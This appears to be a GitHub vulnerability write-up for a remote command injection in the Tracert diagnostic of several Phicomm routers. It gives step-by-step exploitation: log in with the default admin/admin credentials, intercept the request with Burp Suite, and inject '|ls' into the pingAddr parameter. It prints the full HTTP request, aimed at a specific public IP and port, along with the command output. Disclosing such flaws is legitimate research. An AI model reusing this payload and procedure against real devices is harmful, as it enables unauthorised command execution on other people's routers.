

main ▾

...

## Phicomm\_Router / Tracert\_1.md



SLoSnow9879 Update Tracert\_1.md

[History](#)

1 contributor

16 lines (10 sloc) | 897 Bytes

...

The FIR151B A2、FIR302E A2、FIR300B A2 and so on routers has remote command execution

1.Login feixun FIR151B A2 router by default password admin /admin

2.Find the system tool → system diagnosis → Tracert → IP address / domain name. There is remote command execution at Tracert

PHICOMM  
FIR151B A2

Language: Auto identify ▾

Basic Advanced

System diagnostics

You can use Ping or Tracer command to test connectivity between the router and other hosts.

Parameter settings

Selection:	<input type="radio"/> Ping <input checked="" type="radio"/> Tracert
IP address / domain name:	8.8.8.8
Number of Ping packages:	4 (1-50)
Ping packet size:	64 (64-1472)
Tracert hops:	20 (1-30)

Diagnostic results

3.Enter the website IP at the IP address / domain name, for example: 8.8.8.8

4.Click Start diagnosis

## 5. Use burpsuite intercept and change pingAddr argument to 8.8.8.8|ls, forward this request

```
1 POST /management.cgi HTTP/1.1
2 Host: 82.78.164.145:30005
3 Content-Length: 102
4 Cache-Control: max-age=0
5 Upgrade-Insecure-Requests: 1
6 Origin: http://82.78.164.145:30005
7 Content-Type: application/x-www-form-urlencoded
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
9 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
10 Referer: http://82.78.164.145:30005/sysDiag.html?t=1658810125996
11 Accept-Encoding: gzip, deflate
12 Accept-Language: zh-CN,zh;q=0.9
13 Connection: close
14
15 action_mode=apply&next_page=sysDiag.html&current_page=sysDiag.html&doType=1&pingAddr=8.8.8.8|ls&trHops=20
```

## 6. Look at the diagnostic results. The command has been executed successfully

PHICOMM  
Language: Auto identify

Basic Advanced

FIR151B A2

- Setup wizard
- Network settings
- Wireless settings
- Health And Power Saving
- Running status
- System tools**
  - System management
  - Time management
  - WEB management
  - Modify login password
  - System diagnostics
  - System log
- Logout

System diagnostics

You can use Ping or Tracer command to test connectivity between the router and other hosts.

Parameter settings

Selection:	<input type="radio"/> Ping <input checked="" type="radio"/> Tracert
IP address / domain name:	8.8.8.8 ls
Number of Ping packages:	4 (1-50)
Ping packet size:	64 (64-1472)
Tracert hops:	20 (1-30)

Diagnostic results

```
accessPolicy.html
appArpBlind.html
appDmz.html
appPortFwd.html
appUpnpCfg.html
css
ddnsCfg.html
dhcpAssign.html
dhcpCfg.html
dhcpClient.html
flowCtrl.html
images
index.html
ipCtrl.html
js
lanCfg.html
lang
login.html
logout.html
macClone.html
netStatus.html
omode.html
```

Start Cancel